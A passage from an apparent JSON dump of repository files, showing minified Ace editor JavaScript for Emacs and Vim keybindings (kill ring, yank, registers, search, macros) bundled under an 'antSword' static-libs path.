n=e.getCursorPosition();n.column===0&&e.session.doc.getLine(n.row).length===0?e.selection.selectLine():(e.clearSelection(),e.selection.selectLineEnd());var r=e.getSelectionRange(),i=e.session.getTextRange(r);t.killRing.add(i),e.session.remove(r),e.clearSelection()},yank:function(e){e.onPaste(t.killRing.get()||\"\"),e.keyBinding.$data.lastCommand=\"yank\"},yankRotate:function(e){if(e.keyBinding.$data.lastCommand!=\"yank\")return;e.undo(),e.session.$emacsMarkRing.pop(),e.onPaste(t.killRing.rotate()),e.keyBinding.$data.lastCommand=\"yank\"},killRegion:{exec:function(e){t.killRing.add(e.getCopyText()),e.commands.byName.cut.exec(e)},readOnly:!0,multiSelectAction:\"forEach\"},killRingSave:{exec:function(e){e.$handlesEmacsOnCopy=!0;var n=e.session.$emacsMarkRing.slice(),r=[];t.killRing.add(e.getCopyText()),setTimeout(function(){function t(){var t=e.selection,n=t.getRange(),i=t.isBackwards()?n.end:n.start;r.push({row:i.row,column:i.column}),t.clearSelection()}e.$handlesEmacsOnCopy=!1,e.inMultiSelectMode?e.forEachSelection({exec:t}):t(),e.session.$emacsMarkRing=n.concat(r.reverse())},0)},readOnly:!0},keyboardQuit:function(e){e.selection.clearSelection(),e.setEmacsMark(null),e.keyBinding.$data.count=null},focusCommandLine:function(e,t){e.showCommandLine&&e.showCommandLine(t)}}),t.handler.addCommands(i.iSearchStartCommands);var v=t.handler.commands;v.yank.isYank=!0,v.yankRotate.isYank=!0,t.killRing={$data:[],add:function(e){e&&this.$data.push(e),this.$data.length>30&&this.$data.shift()},get:function(e){return e=e||1,this.$data.slice(this.$data.length-e,this.$data.length).reverse().join(\"\\n\")},pop:function(){return this.$data.length>1&&this.$data.pop(),this.get()},rotate:function(){return this.$data.unshift(this.$data.pop()),this.get()}}})"
  },
  {
    "path": "antSword/static/libs/ace/keybinding-vim.js",
    "content": "ace.define(\"ace/keyboard/vim\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/lib/event_emitter\",\"ace/lib/dom\",\"ace/lib/oop\",\"ace/lib/keys\",\"ace/lib/event\",\"ace/search\",\"ace/lib/useragent\",\"ace/search_highlight\",\"ace/commands/multi_select_commands\",\"ace/mode/text\",\"ace/multi_select\"],function(e,t,n){\"use strict\";function r(){function t(e){return typeof e!=\"object\"?e+\"\":\"line\"in e?e.line+\":\"+e.ch:\"anchor\"in e?t(e.anchor)+\"->\"+t(e.head):Array.isArray(e)?\"[\"+e.map(function(e){return t(e)})+\"]\":JSON.stringify(e)}var e=\"\";for(var n=0;n<arguments.length;n++){var r=arguments[n],i=t(r);e+=i+\"  \"}console.log(e)}function m(e){return{row:e.line,column:e.ch}}function g(e){return new E(e.row,e.column)}function x(e){e.setOption(\"disableInput\",!0),e.setOption(\"showCursorWhenSelecting\",!1),v.signal(e,\"vim-mode-change\",{mode:\"normal\"}),e.on(\"cursorActivity\",Jn),tt(e),v.on(e.getInputField(),\"paste\",M(e))}function T(e){e.setOption(\"disableInput\",!1),e.off(\"cursorActivity\",Jn),v.off(e.getInputField(),\"paste\",M(e)),e.state.vim=null}function N(e,t){this==v.keyMap.vim&&v.rmClass(e.getWrapperElement(),\"cm-fat-cursor\"),(!t||t.attach!=C)&&T(e,!1)}function C(e,t){this==v.keyMap.vim&&v.addClass(e.getWrapperElement(),\"cm-fat-cursor\"),(!t||t.attach!=C)&&x(e)}function k(e,t){if(!t)return undefined;var n=O(e);if(!n)return!1;var r=v.Vim.findKey(t,n);return typeof r==\"function\"&&v.signal(t,\"vim-keypress\",n),r}function O(e){if(e.charAt(0)==\"'\")return e.charAt(1);var t=e.split(\"-\");/-$/.test(e)&&t.splice(-2,2,\"-\");var n=t[t.length-1];if(t.length==1&&t[0].length==1)return!1;if(t.length==2&&t[0]==\"Shift\"&&n.length==1)return!1;var r=!1;for(var i=0;i<t.length;i++){var s=t[i];s in L?t[i]=L[s]:r=!0,s in A&&(t[i]=A[s])}return r?(X(n)&&(t[t.length-1]=n.toLowerCase()),\"<\"+t.join(\"-\")+\">\"):!1}function M(e){var t=e.state.vim;return t.onPasteFn||(t.onPasteFn=function(){t.insertMode||(e.setCursor(St(e.getCursor(),0,1)),yt.enterInsertMode(e,{},t))}),t.onPasteFn}function H(e,t){var n=[];for(var r=e;r<e+t;r++)n.push(String.fromCharCode(r));return n}function R(e,t){return t>=e.firstLine()&&t<=e.lastLine()}function U(e){return/^[a-z]$/.test(e)}function z(e){return\"()[]{}\".indexOf(e)!=-1}function W(e){return _.test(e)}function X(e){return/^[A-Z]$/.test(e)}function V(e){return/^\\s*$/.test(e)}function $(e,t){for(var n=0;n<t.length;n++)if(t[n]==e)return!0;return!1}function K(e,t,n,r,i){if(t===undefined&&!i)throw Error(\"defaultValue is required unless callback is provided\");n||(n=\"string\"),J[e]={type:n,defaultValue:t,callback:i};if(r)for(var s=0;s<r.length;s++)J[r[s]]=J[e];t&&Q(e,t)}function Q(e,t,n,r){var i=J[e];r=r||{};var s=r.scope;if(!i)throw Error(\"Unknown option: \"+e);if(i.type==\"boolean\"){if(t&&t!==!0)throw Error(\"Invalid argument: \"+e+\"=\"+t);t!==!1&&(t=!0)}i.callback?(s!==\"local\"&&i.callback(t,undefined),s!==\"global\"&&n&&i.callback(t,n)):(s!==\"local\"&&(i.value=i.type==\"boolean\"?!!t:t),s!==\"global\"&&n&&(n.state.vim.options[e]={value:t}))}function G(e,t,n){var r=J[e];n=n||{};var i=n.scope;if(!r)throw Error(\"Unknown option: \"+e);if(r.callback){var s=t&&r.callback(undefined,t);if(i!==\"global\"&&s!==undefined)return s;if(i!==\"local\")return r.callback();return}var s=i!==\"global\"&&t&&t.state.vim.options[e];return(s||i!==\"local\"&&r||{}).value}function et(){this.latestRegister=undefined,this.isPlaying=!1,this.isRecording=!1,this.replaySearchQueries=[],this.onRecordingDone=undefined,this.lastInsertModeChanges=Z()}function tt(e){return e.state.vim||(e.state.vim={inputState:new ot,lastEditInputState:undefined,lastEditActionCommand:undefined,lastHPos:-1,lastHSPos:-1,lastMotion:null,marks:{},fakeCursor:null,insertMode:!1,insertModeRepeat:undefined,visualMode:!1,visualLine:!1,visualBlock:!1,lastSelection:null,lastPastedText:null,sel:{},options:{}}),e.state.vim}function rt(){nt={searchQuery:null,searchIsReversed:!1,lastSubstituteReplacePart:undefined,jumpList:Y(),macroModeState:new et,lastChararacterSearch:{increment:0,forward:!0,selectedCharacter:\"\"},registerController:new lt({}),searchHistoryController:new ct({}),exCommandHistoryController:new ct({})};for(var e in J){var t=J[e];t.value=t.defaultValue}}function ot(){this.prefixRepeat=[],this.motionRepeat=[],this.operator=null,this.operatorArgs=null,this.motion=null,this.motionArgs=null,this.keyBuffer=[],this.registerName=null}function ut(e,t){e.state.vim.inputState=new ot,v.signal(e,\"vim-command-done\",t)}function at(e,t,n){this.clear(),this.keyBuffer=[e||\"\"],this.insertModeChanges=[],this.searchQueries=[],this.linewise=!!t,this.blockwise=!!n}function ft(e,t){var n=nt.registerController.registers[e];if(!e||e.length!=1)throw Error(\"Register name must be 1 character\");n[e]=t,q.push(e)}function lt(e){this.registers=e,this.unnamedRegister=e['\"']=new at,e[\".\"]=new at,e[\":\"]=new at,e[\"/\"]=new at}function ct(){this.historyBuffer=[],this.iterator,this.initialPrefix=null}function dt(e,t){pt[e]=t}function vt(e,t){var n=[];for(var r=0;r<t;r++)n.push(e);return n}function gt(e,t){mt[e]=t}function bt(e,t){yt[e]=t}function wt(e,t,n){var r=Math.min(Math.max(e.firstLine(),t.line),e.lastLine()),i=Pt(e,r)-1;i=n?i+1:i;var s=Math.min(Math.max(0,t.ch),i);return E(r,s)}function Et(e){var t={};for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t}function St(e,t,n){return typeof t==\"object\"&&(n=t.ch,t=t.line),E(e.line+t,e.ch+n)}function xt(e,t){return{line:t.line-e.line,ch:t.line-e.line}}function Tt(e,t,n,r){var i,s=[],o=[];for(var u=0;u<t.length;u++){var a=t[u];if(n==\"insert\"&&a.context!=\"insert\"||a.context&&a.context!=n||r.operator&&a.type==\"action\"||!(i=Nt(e,a.keys)))continue;i==\"partial\"&&s.push(a),i==\"full\"&&o.push(a)}return{partial:s.length&&s,full:o.length&&o}}function Nt(e,t){if(t.slice(-11)==\"<character>\"){var n=t.length-11,r=e.slice(0,n),i=t.slice(0,n);return r==i&&e.length>n?\"full\":i.indexOf(r)==0?\"partial\":!1}return e==t?\"full\":t.indexOf(e)==0?\"partial\":!1}function Ct(e){var t=/^.*(<[\\w\\-]+>)$/.exec(e),n=t?t[1]:e.slice(-1);if(n.length>1)switch(n){case\"<CR>\":n=\"\\n\";break;case\"<Space>\":n=\" \";break;default:}return n}function kt(e,t,n){return function(){for(var r=0;r<n;r++)t(e)}}function Lt(e){return E(e.line,e.ch)}function At(e,t){return e.ch==t.ch&&e.line==t.line}function Ot(e,t){return e.line<t.line?!0:e.line==t.line&&e.ch<t.ch?!0:!1}function Mt(e,t){return arguments.length>2&&(t=Mt.apply(undefined,Array.prototype.slice.call(arguments,1))),Ot(e,t)?e:t}function _t(e,t){return arguments.length>2&&(t=_t.apply(undefined,Array.prototype.slice.call(arguments,1))),Ot(e,t)?t:e}function Dt(e,t,n){var r=Ot(e,t),i=Ot(t,n);return r&&i}function Pt(e,t){return e.getLine(t).length}function Ht(e){return e.trim?e.trim():e.replace(/^\\s+|\\s+$/g,\"\")}function Bt(e){return e.replace(/([.?*+$\\[\\]\\/\\\\(){}|\\-])/g,\"\\\\$1\")}function jt(e,t,n){var r=Pt(e,t),i=(new Array(n-r+1)).join(\" \");e.setCursor(E(t,r)),e.replaceRange(i,e.getCursor())}function Ft(e,t){var n=[],r=e.listSelections(),i=Lt(e.clipPos(t)),s=!At(t,i),o=e.getCursor(\"head\"),u=qt(r,o),a=At(r[u].head,r[u].anchor),f=r.length-1,l=f-u>u?f:0,c=r[l].anchor,h=Math.min(c.line,i.line),p=Math.max(c.line,i.line),d=c.ch,v=i.ch,m=r[l].head.ch-d,g=v-d;m>0&&g<=0?(d++,s||v--):m<0&&g>=0?(d--,a||v++):m<0&&g==-1&&(d--,v++);for(var y=h;y<=p;y++){var b={anchor:new E(y,d),head:new E(y,v)};n.push(b)}return u=i.line==p?n.length-1:0,e.setSelections(n),t.ch=v,c.ch=d,c}function It(e,t,n){var r=[];for(var i=0;i<n;i++){var s=St(t,i,0);r.push({anchor:s,head:s})}e.setSelections(r,0)}function qt(e,t,n){for(var r=0;r<e.length;r++){var i=n!=\"head\"&&At(e[r].anchor,t),s=n!=\"anchor\"&&At(e[r].head,t);if(i||s)return r}return-1}function Rt(e,t){var n=t.lastSelection,r=function(){var t=e.listSelections(),n=t[0],r=t[t.length-1],i=Ot(n.anchor,n.head)?n.anchor:n.head,s=Ot(r.anchor,r.head)?r.head:r.anchor;return[i,s]},i=function(){var t=e.getCursor(),r=e.getCursor(),i=n.visualBlock;if(i){var s=i.width,o=i.height;r=E(t.line+o,t.ch+s);var u=[];for(var a=t.line;a<r.line;a++){var f=E(a,t.ch),l=E(a,r.ch),c={anchor:f,head:l};u.push(c)}e.setSelections(u)}else{var h=n.anchorMark.find(),p=n.headMark.find(),d=p.line-h.line,v=p.ch-h.ch;r={line:r.line+d,ch:d?r.ch:v+r.ch},n.visualLine&&(t=E(t.line,0),r=E(r.line,Pt(e,r.line))),e.setSelection(t,r)}return[t,r]};return t.visualMode?r():i()}function Ut(e,t){var n=t.sel.anchor,r=t.sel.head;t.lastPastedText&&(r=e.posFromIndex(e.indexFromPos(n)+t.lastPastedText.length),t.lastPastedText=null),t.lastSelection={anchorMark:e.setBookmark(n),headMark:e.setBookmark(r),anchor:Lt(n),head:Lt(r),visualMode:t.visualMode,visualLine:t.visualLine,visualBlock:t.visualBlock}}function zt(e,t,n){var r=e.state.vim.sel,i=r.head,s=r.anchor,o;return Ot(n,t)&&(o=n,n=t,t=o),Ot(i,s)?(i=Mt(t,i),s=_t(s,n)):(s=Mt(t,s),i=_t(i,n),i=St(i,0,-1),i.ch==-1&&i.line!=e.firstLine()&&(i=E(i.line-1,Pt(e,i.line-1)))),[s,i]}function Wt(e,t,n){var r=e.state.vim;t=t||r.sel;var n=n||r.visualLine?\"line\":r.visualBlock?\"block\":\"char\",i=Xt(e,t,n);e.setSelections(i.ranges,i.primary),Kn(e)}function Xt(e,t,n,r){var i=Lt(t.head),s=Lt(t.anchor);if(n==\"char\"){var o=!r&&!Ot(t.head,t.anchor)?1:0,u=Ot(t.head,t.anchor)?1:0;return i=St(t.head,0,o),s=St(t.anchor,0,u),{ranges:[{anchor:s,head:i}],primary:0}}if(n==\"line\"){if(!Ot(t.head,t.anchor)){s.ch=0;var a=e.lastLine();i.line>a&&(i.line=a),i.ch=Pt(e,i.line)}else i.ch=0,s.ch=Pt(e,s.line);return{ranges:[{anchor:s,head:i}],primary:0}}if(n==\"block\"){var f=Math.min(s.line,i.line),l=Math.min(s.ch,i.ch),c=Math.max(s.line,i.line),h=Math.max(s.ch,i.ch)+1,p=c-f+1,d=i.line==f?0:p-1,v=[];for(var m=0;m<p;m++)v.push({anchor:E(f+m,l),head:E(f+m,h)});return{ranges:v,primary:d}}}function Vt(e){var t=e.getCursor(\"head\");return e.getSelection().length==1&&(t=Mt(t,e.getCursor(\"anchor\"))),t}function $t(e,t){var n=e.state.vim;t!==!1&&e.setCursor(wt(e,n.sel.head)),Ut(e,n),n.visualMode=!1,n.visualLine=!1,n.visualBlock=!1,v.signal(e,\"vim-mode-change\",{mode:\"normal\"}),n.fakeCursor&&n.fakeCursor.clear()}function Jt(e,t,n){var r=e.getRange(t,n);if(/\\n\\s*$/.test(r)){var i=r.split(\"\\n\");i.pop();var s;for(var s=i.pop();i.length>0&&s&&V(s);s=i.pop())n.line--,n.ch=0;s?(n.line--,n.ch=Pt(e,n.line)):n.ch=0}}function Kt(e,t,n){t.ch=0,n.ch=0,n.line++}function Qt(e){if(!e)return 0;var t=e.search(/\\S/);return t==-1?e.length:t}function Gt(e,t,n,r,i){var s=Vt(e),o=e.getLine(s.line),u=s.ch,a=i?D[0]:P[0];while(!a(o.charAt(u))){u++;if(u>=o.length)return null}r?a=P[0]:(a=D[0],a(o.charAt(u))||(a=D[1]));var f=u,l=u;while(a(o.charAt(f))&&f<o.length)f++;while(a(o.charAt(l))&&l>=0)l--;l++;if(t){var c=f;while(/\\s/.test(o.charAt(f))&&f<o.length)f++;if(c==f){var h=l;while(/\\s/.test(o.charAt(l-1))&&l>0)l--;l||(l=h)}}return{start:E(s.line,l),end:E(s.line,f)}}function Yt(e,t,n){At(t,n)||nt.jumpList.add(e,t,n)}function Zt(e,t){nt.lastChararacterSearch.increment=e,nt.lastChararacterSearch.forward=t.forward,nt.lastChararacterSearch.selectedCharacter=t.selectedCharacter}function nn(e,t,n,r){var i=Lt(e.getCursor()),s=n?1:-1,o=n?e.lineCount():-1,u=i.ch,a=i.line,f=e.getLine(a),l={lineText:f,nextCh:f.charAt(u),lastCh:null,index:u,symb:r,reverseSymb:(n?{\")\":\"(\",\"}\":\"{\"}:{\"(\":\")\",\"{\":\"}\"})[r],forward:n,depth:0,curMoveThrough:!1},c=en[r];if(!c)return i;var h=tn[c].init,p=tn[c].isComplete;h&&h(l);while(a!==o&&t){l.index+=s,l.nextCh=l.lineText.charAt(l.index);if(!l.nextCh){a+=s,l.lineText=e.getLine(a)||\"\";if(s>0)l.index=0;else{var d=l.lineText.length;l.index=d>0?d-1:0}l.nextCh=l.lineText.charAt(l.index)}p(l)&&(i.line=a,i.ch=l.index,t--)}return l.nextCh||l.curMoveThrough?E(a,l.index):i}function rn(e,t,n,r,i){var s=t.line,o=t.ch,u=e.getLine(s),a=n?1:-1,f=r?P:D;if(i&&u==\"\"){s+=a,u=e.getLine(s);if(!R(e,s))return null;o=n?0:u.length}for(;;){if(i&&u==\"\")return{from:0,to:0,line:s};var l=a>0?u.length:-1,c=l,h=l;while(o!=l){var p=!1;for(var d=0;d<f.length&&!p;++d)if(f[d](u.charAt(o))){c=o;while(o!=l&&f[d](u.charAt(o)))o+=a;h=o,p=c!=h;if(c==t.ch&&s==t.line&&h==c+a)continue;return{from:Math.min(c,h+1),to:Math.max(c,h),line:s}}p||(o+=a)}s+=a;if(!R(e,s))return null;u=e.getLine(s),o=a>0?0:u.length}throw new Error(\"The impossible happened.\")}function sn(e,t,n,r,i,s){var o=Lt(t),u=[];(r&&!i||!r&&i)&&n++;var a=!r||!i;for(var f=0;f<n;f++){var l=rn(e,t,r,s,a);if(!l){var c=Pt(e,e.lastLine());u.push(r?{line:e.lastLine(),from:c,to:c}:{line:0,from:0,to:0});break}u.push(l),t=E(l.line,r?l.to-1:l.from)}var h=u.length!=n,p=u[0],d=u.pop();return r&&!i?(!h&&(p.from!=o.ch||p.line!=o.line)&&(d=u.pop()),E(d.line,d.from)):r&&i?E(d.line,d.to-1):!r&&i?(!h&&(p.to!=o.ch||p.line!=o.line)&&(d=u.pop()),E(d.line,d.to)):E(d.line,d.from)}function on(e,t,n,r){var i=e.getCursor(),s=i.ch,o;for(var u=0;u<t;u++){var a=e.getLine(i.line);o=fn(s,a,r,n,!0);if(o==-1)return null;s=o}return E(e.getCursor().line,o)}function un(e,t){var n=e.getCursor().line;return wt(e,E(n,t-1))}function an(e,t,n,r){if(!$(n,I))return;t.marks[n]&&t.marks[n].clear(),t.marks[n]=e.setBookmark(r)}function fn(e,t,n,r,i){var s;return r?(s=t.indexOf(n,e+1),s!=-1&&!i&&(s-=1)):(s=t.lastIndexOf(n,e-1),s!=-1&&!i&&(s+=1)),s}function ln(e,t,n,r,i){function c(t){return!/\\S/.test(e.getLine(t))}function h(e,t,n){return n?c(e)!=c(e+t):!c(e)&&c(e+t)}var s=t.line,o=e.firstLine(),u=e.lastLine(),a,f,l=s;if(r){while(o<=l&&l<=u&&n>0)h(l,r)&&n--,l+=r;return new E(l,0)}var p=e.state.vim;if(p.visualLine&&h(s,1,!0)){var d=p.sel.anchor;h(d.line,-1,!0)&&(!i||d.line!=s)&&(s+=1)}var v=c(s);for(l=s;l<=u&&n;l++)h(l,1,!0)&&(!i||c(l)!=v)&&n--;f=new E(l,0),l>u&&!v?v=!0:i=!1;for(l=s;l>o;l--)if(!i||c(l)==v||l==s)if(h(l,-1,!0))break;return a=new E(l,0),{start:a,end:f}}function cn(e,t,n,r){var i=t,s,o,u={\"(\":/[()]/,\")\":/[()]/,\"[\":/[[\\]]/,\"]\":/[[\\]]/,\"{\":/[{}]/,\"}\":/[{}]/}[n],a={\"(\":\"(\",\")\":\"(\",\"[\":\"[\",\"]\":\"[\",\"{\":\"{\",\"}\":\"{\"}[n],f=e.getLine(i.line).charAt(i.ch),l=f===a?1:0;s=e.scanForBracket(E(i.line,i.ch+l),-1,null,{bracketRegex:u}),o=e.scanForBracket(E(i.line,i.ch+l),1,null,{bracketRegex:u});if(!s||!o)return{start:i,end:i};s=s.pos,o=o.pos;if(s.line==o.line&&s.ch>o.ch||s.line>o.line){var c=s;s=o,o=c}return r?o.ch+=1:s.ch+=1,{start:s,end:o}}function hn(e,t,n,r){var i=Lt(t),s=e.getLine(i.line),o=s.split(\"\"),u,a,f,l,c=o.indexOf(n);i.ch<c?i.ch=c:c<i.ch&&o[i.ch]==n&&(a=i.ch,--i.ch);if(o[i.ch]==n&&!a)u=i.ch+1;else for(f=i.ch;f>-1&&!u;f--)o[f]==n&&(u=f+1);if(u&&!a)for(f=u,l=o.length;f<l&&!a;f++)o[f]==n&&(a=f);return!u||!a?{start:i,end:i}:(r&&(--u,++a),{start:E(i.line,u),end:E(i.line,a)})}function pn(){}function dn(e){var t=e.state.vim;return t.searchState_||(t.searchState_=new pn)}function vn(e,t,n,r,i){e.openDialog?e.openDialog(t,r,{bottom:!0,value:i.value,onKeyDown:i.onKeyDown,onKeyUp:i.onKeyUp,selectValueOnOpen:!1}):r(prompt(n,\"\"))}function mn(e){var t=gn(e)||[];if(!t.length)return[];var n=[];if(t[0]!==0)return;for(var r=0;r<t.length;r++)typeof t[r]==\"number\"&&n.push(e.substring(t[r]+1,t[r+1]));return n}function gn(e){var t=!1,n=[];for(var r=0;r<e.length;r++){var i=e.charAt(r);!t&&i==\"/\"&&n.push(r),t=!t&&i==\"\\\\\"}return n}function yn(e){var t=\"|(){\",n=\"}\",r=!1,i=[];for(var s=-1;s<e.length;s++){var o=e.charAt(s)||\"\",u=e.charAt(s+1)||\"\",a=u&&t.indexOf(u)!=-1;r?((o!==\"\\\\\"||!a)&&i.push(o),r=!1):o===\"\\\\\"?(r=!0,u&&n.indexOf(u)!=-1&&(a=!0),(!a||u===\"\\\\\")&&i.push(o)):(i.push(o),a&&u!==\"\\\\\"&&i.push(\"\\\\\"))}return i.join(\"\")}function wn(e){var t=!1,n=[];for(var r=-1;r<e.length;r++){var i=e.charAt(r)||\"\",s=e.charAt(r+1)||\"\";bn[i+s]?(n.push(bn[i+s]),r++):t?(n.push(i),t=!1):i===\"\\\\\"?(t=!0,W(s)||s===\"$\"?n.push(\"$\"):s!==\"/\"&&s!==\"\\\\\"&&n.push(\"\\\\\")):(i===\"$\"&&n.push(\"$\"),n.push(i),s===\"/\"&&n.push(\"\\\\\"))}return n.join(\"\")}function Sn(e){var t=new v.StringStream(e),n=[];while(!t.eol()){while(t.peek()&&t.peek()!=\"\\\\\")n.push(t.next());var r=!1;for(var i in En)if(t.match(i,!0)){r=!0,n.push(En[i]);break}r||n.push(t.next())}return n.join(\"\")}function xn(e,t,n){var r=nt.registerController.getRegister(\"/\");r.setText(e);if(e instanceof RegExp)return e;var i=gn(e),s,o;if(!i.length)s=e;else{s=e.substring(0,i[0]);var u=e.substring(i[0]);o=u.indexOf(\"i\")!=-1}if(!s)return null;G(\"pcre\")||(s=yn(s)),n&&(t=/^[^A-Z]*$/.test(s));var a=new RegExp(s,t||o?\"i\":undefined);return a}function Tn(e,t){e.openNotification?e.openNotification('<span style=\"color: red\">'+t+\"</span>\",{bottom:!0,duration:5e3}):alert(t)}function Nn(e,t){var n=\"\";return e&&(n+='<span style=\"font-family: monospace\">'+e+\"</span>\"),n+='<input type=\"text\"/> <span style=\"color: #888\">',t&&(n+='<span style=\"color: #888\">',n+=t,n+=\"</span>\"),n}function kn(e,t){var n=(t.prefix||\"\")+\" \"+(t.desc||\"\"),r=Nn(t.prefix,t.desc);vn(e,r,n,t.onClose,t)}function Ln(e,t){if(e instanceof RegExp&&t instanceof RegExp){var n=[\"global\",\"multiline\",\"ignoreCase\",\"source\"];for(var r=0;r<n.length;r++){var i=n[r];if(e[i]!==t[i])return!1}return!0}return!1}function An(e,t,n,r){if(!t)return;var i=dn(e),s=xn(t,!!n,!!r);if(!s)return;return Mn(e,s),Ln(s,i.getQuery())?s:(i.setQuery(s),s)}function On(e){if(e.source.charAt(0)==\"^\")var t=!0;return{token:function(n){if(t&&!n.sol()){n.skipToEnd();return}var r=n.match(e,!1);if(r){if(r[0].length==0)return n.next(),\"searching\";if(!n.sol()){n.backUp(1);if(!e.exec(n.next()+r[0]))return n.next(),null}return n.match(e),\"searching\"}while(!n.eol()){n.next();if(n.match(e,!1))break}},query:e}}function Mn(e,t){var n=dn(e),r=n.getOverlay();if(!r||t!=r.query)r&&e.removeOverlay(r),r=On(t),e.addOverlay(r),e.showMatchesOnScrollbar&&(n.getScrollbarAnnotate()&&n.getScrollbarAnnotate().clear(),n.setScrollbarAnnotate(e.showMatchesOnScrollbar(t))),n.setOverlay(r)}function _n(e,t,n,r){return r===undefined&&(r=1),e.operation(function(){var i=e.getCursor(),s=e.getSearchCursor(n,i);for(var o=0;o<r;o++){var u=s.find(t);o==0&&u&&At(s.from(),i)&&(u=s.find(t));if(!u){s=e.getSearchCursor(n,t?E(e.lastLine()):E(e.firstLine(),0));if(!s.find(t))return}}return s.from()})}function Dn(e){var t=dn(e);e.removeOverlay(dn(e).getOverlay()),t.setOverlay(null),t.getScrollbarAnnotate()&&(t.getScrollbarAnnotate().clear(),t.setScrollbarAnnotate(null))}function Pn(e,t,n){return typeof e!=\"number\"&&(e=e.line),t instanceof Array?$(e,t):n?e>=t&&e<=n:e==t}function Hn(e){var t=e.ace.renderer;return{top:t.getFirstFullyVisibleRow(),bottom:t.getLastFullyVisibleRow()}}function In(e,t,n,r,i,s,o,u,a){function c(){e.operation(function(){while(!f)h(),p();d()})}function h(){var t=e.getRange(s.from(),s.to()),n=t.replace(o,u);s.replace(n)}function p(){while(s.findNext()&&Pn(s.from(),r,i)){if(!n&&l&&s.from().line==l.line)continue;e.scrollIntoView(s.from(),30),e.setSelection(s.from(),s.to()),l=s.from(),f=!1;return}f=!0}function d(t){t&&t(),e.focus();if(l){e.setCursor(l);var n=e.state.vim;n.exMode=!1,n.lastHPos=n.lastHSPos=l.ch}a&&a()}function m(t,n,r){v.e_stop(t);var i=v.keyName(t);switch(i){case\"Y\":h(),p();break;case\"N\":p();break;case\"A\":var s=a;a=undefined,e.operation(c),a=s;break;case\"L\":h();case\"Q\":case\"Esc\":case\"Ctrl-C\":case\"Ctrl-[\":d(r)}return f&&d(r),!0}e.state.vim.exMode=!0;var f=!1,l=s.from();p();if(f){Tn(e,\"No matches for \"+o.source);return}if(!t){c(),a&&a();return}kn(e,{prefix:\"replace with <strong>\"+u+\"</strong> (y/n/a/q/l)\",onKeyDown:m})}function qn(e){var t=e.state.vim,n=nt.macroModeState,r=nt.registerController.getRegister(\".\"),i=n.isPlaying,s=n.lastInsertModeChanges,o=[];if(!i){var u=s.inVisualBlock?t.lastSelection.visualBlock.height:1,a=s.changes,o=[],f=0;while(f<a.length)o.push(a[f]),a[f]instanceof Gn?f++:f+=u;s.changes=o,e.off(\"change\",$n),v.off(e.getInputField(),\"keydown\",Yn)}!i&&t.insertModeRepeat>1&&(Zn(e,t,t.insertModeRepeat-1,!0),t.lastEditInputState.repeatOverride=t.insertModeRepeat),delete t.insertModeRepeat,t.insertMode=!1,e.setCursor(e.getCursor().line,e.getCursor().ch-1),e.setOption(\"keyMap\",\"vim\"),e.setOption(\"disableInput\",!0),e.toggleOverwrite(!1),r.setText(s.changes.join(\"\")),v.signal(e,\"vim-mode-change\",{mode:\"normal\"}),n.isRecording&&Xn(n)}function Rn(e){b.unshift(e)}function Un(e,t,n,r,i){var s={keys:e,type:t};s[t]=n,s[t+\"Args\"]=r;for(var o in i)s[o]=i[o];Rn(s)}function zn(e,t,n,r){var i=nt.registerController.getRegister(r);if(r==\":\"){i.keyBuffer[0]&&Fn.processCommand(e,i.keyBuffer[0]),n.isPlaying=!1;return}var s=i.keyBuffer,o=0;n.isPlaying=!0,n.replaySearchQueries=i.searchQueries.slice(0);for(var u=0;u<s.length;u++){var a=s[u],f,l;while(a){f=/<\\w+-.+?>|<\\w+>|./.exec(a),l=f[0],a=a.substring(f.index+l.length),v.Vim.handleKey(e,l,\"macro\");if(t.insertMode){var c=i.insertModeChanges[o++].changes;nt.macroModeState.lastInsertModeChanges.changes=c,er(e,c,1),qn(e)}}}n.isPlaying=!1}function Wn(e,t){if(e.isPlaying)return;var n=e.latestRegister,r=nt.registerController.getRegister(n);r&&r.pushText(t)}function Xn(e){if(e.isPlaying)return;var t=e.latestRegister,n=nt.registerController.getRegister(t);n&&n.pushInsertModeChanges&&n.pushInsertModeChanges(e.lastInsertModeChanges)}function Vn(e,t){if(e.isPlaying)return;var n=e.latestRegister,r=nt.registerController.getRegister(n);r&&r.pushSearchQuery&&r.pushSearchQuery(t)}function $n(e,t){var n=nt.macroModeState,r=n.lastInsertModeChanges;if(!n.isPlaying)while(t){r.expectCursorActivityForChange=!0;if(t.origin==\"+input\"||t.origin==\"paste\"||t.origin===undefined){var i=t.text.join(\"\\n\");r.changes.push(i)}t=t.next}}function Jn(e){var t=e.state.vim;if(t.insertMode){var n=nt.macroModeState;if(n.isPlaying)return;var r=n.lastInsertModeChanges;r.expectCursorActivityForChange?r.expectCursorActivityForChange=!1:r.changes=[]}else e.curOp.isVimOp||Qn(e,t);t.visualMode&&Kn(e)}function Kn(e){var t=e.state.vim,n=wt(e,Lt(t.sel.head)),r=St(n,0,1);t.fakeCursor&&t.fakeCursor.clear(),t.fakeCursor=e.markText(n,r,{className:\"cm-animate-fat-cursor\"})}function Qn(e,t){var n=e.getCursor(\"anchor\"),r=e.getCursor(\"head\");t.visualMode&&!e.somethingSelected()?$t(e,!1):!t.visualMode&&!t.insertMode&&e.somethingSelected()&&(t.visualMode=!0,t.visualLine=!1,v.signal(e,\"vim-mode-change\",{mode:\"visual\"}));if(t.visualMode){var i=Ot(r,n)?0:-1,s=Ot(r,n)?-1:0;r=St(r,0,i),n=St(n,0,s),t.sel={anchor:n,head:r},an(e,t,\"<\",Mt(r,n)),an(e,t,\">\",_t(r,n))}else t.insertMode||(t.lastHPos=e.getCursor().ch)}function Gn(e){this.keyName=e}function Yn(e){function i(){return n.changes.push(new Gn(r)),!0}var t=nt.macroModeState,n=t.lastInsertModeChanges,r=v.keyName(e);if(!r)return;(r.indexOf(\"Delete\")!=-1||r.indexOf(\"Backspace\")!=-1)&&v.lookupKey(r,\"vim-insert\",i)}function Zn(e,t,n,r){function u(){s?ht.processAction(e,t,t.lastEditActionCommand):ht.evalInput(e,t)}function a(n){if(i.lastInsertModeChanges.changes.length>0){n=t.lastEditActionCommand?n:1;var r=i.lastInsertModeChanges;er(e,r.changes,n)}}var i=nt.macroModeState;i.isPlaying=!0;var s=!!t.lastEditActionCommand,o=t.inputState;t.inputState=t.lastEditInputState;if(s&&t.lastEditActionCommand.interlaceInsertRepeat)for(var f=0;f<n;f++)u(),a(1);else r||u(),a(n);t.inputState=o,t.insertMode&&!r&&qn(e),i.isPlaying=!1}function er(e,t,n){function r(t){return typeof t==\"string\"?v.commands[t](e):t(e),!0}var 